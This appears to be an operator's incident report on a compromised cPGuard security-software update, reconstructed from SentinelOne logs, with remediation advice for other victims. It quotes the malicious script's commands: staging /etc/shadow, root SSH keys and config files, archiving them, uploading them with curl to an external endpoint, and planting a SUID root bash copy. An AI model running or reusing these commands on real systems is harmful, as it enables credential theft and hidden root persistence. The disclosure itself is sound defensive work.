Summary of what the compromised cPGuard update did according to our own SentinelONE records
For anyone else investigating this, we have reviewed the activity recorded by SentinelOne when the compromised cPGuard update ran on two of our servers. This is what happened on our servers and we are only providing this information to show a real world scenario of what actually happened.
At approximately 02:16 on 2 November, the cPGuard updater executed a script from:
/opt/cpguard/app/setup/cpg_upd_*
The malicious script then created a staging directory:
/var/tmp/.cpg91511/root
and attempted to collect the following:
/etc/shadow
/etc/passwd
/root/.s3cfg
/root/.my.cnf
/root/.config/doctl
/root/.ssh
It also collected a portion of root's bash history into:
/var/tmp/.cpg91511/root/bash_history_tail
It is important to point out that seeing the cp command executed does not necessarily mean the source file existed or was successfully copied. For example, our servers do not have .s3cfg, .my.cnf or .config/doctl, so those copy attempts would have failed.
On one of our servers, subsequent SentinelOne activity confirms that the following files did exist in the attacker's staging directory:
/var/tmp/.cpg91511/shadow
/var/tmp/.cpg91511/passwd
/var/tmp/.cpg91511/root/bash_history_tail
/var/tmp/.cpg91511/root/ssh/id_rsa
/var/tmp/.cpg91511/root/ssh/id_rsa.pub
/var/tmp/.cpg91511/root/ssh/authorized_keys
/var/tmp/.cpg91511/root/ssh/known_hosts
/var/tmp/.cpg91511/root/ssh/known_hosts.old
Therefore, in our case at least, we have evidence that the root SSH private key (id_rsa), password hashes (/etc/shadow), root bash history, and SSH configuration/history were successfully collected.
The collected data was then packaged with:
tar czf /var/tmp/.cpg91511/loot.tgz \
-C /var/tmp/.cpg91511 root shadow passwd id.txt
The script subsequently created/used loot.b64 and body.0, before executing:
curl -sk --max-time 60 -o /dev/null \
--data-binary @/var/tmp/.cpg91511/body.0 \
https://licenses.opsshield.com/i91511_rx.php
SentinelOne recorded successful outbound HTTPS connections to 5.161.112.178:443 for both affected servers. This confirms that the upload connection succeeded, although the SentinelOne data alone cannot prove exactly what the remote server ultimately received or retained.
The malicious script also created a copy of /bin/bash:
cp /bin/bash /var/tmp/.cpg91511_sh
chown root:root /var/tmp/.cpg91511_sh
chmod 4755 /var/tmp/.cpg91511_sh
This resulted in a root-owned SUID Bash executable under /var/tmp, providing a potential privilege escalation/persistence mechanism. SentinelOne specifically flagged this as SetSUID.
Based on this evidence, anyone affected should at minimum assume that:
- /etc/shadow password hashes may have been exfiltrated.
- Root's SSH private key may have been exfiltrated.
- Root's recent bash history may have been exfiltrated.
- authorized_keys and known_hosts may have been exfiltrated.
- .my.cnf, .s3cfg and .config/doctl were targeted and should be considered exposed if those files existed on the affected server.
- Any other credentials appearing in the captured root bash history should also be considered exposed.
- The compromised SSH private key should be replaced and its corresponding public key removed from any other servers on which it was authorised.
- Passwords represented by usable hashes in /etc/shadow should be rotated, particularly where passwords have been reused elsewhere.
I would strongly recommend checking your EDR/audit logs rather than relying only on whether /var/tmp/.cpg91511 is currently present, as the malicious artifacts were subsequently removed.
We have now completed our remediation of the affected systems. All compromised or potentially exposed credentials and SSH keys have been revoked and replaced, root passwords have been changed, and we have also rotated the Enhance Root CA certificates/keys across the cluster as an additional precaution.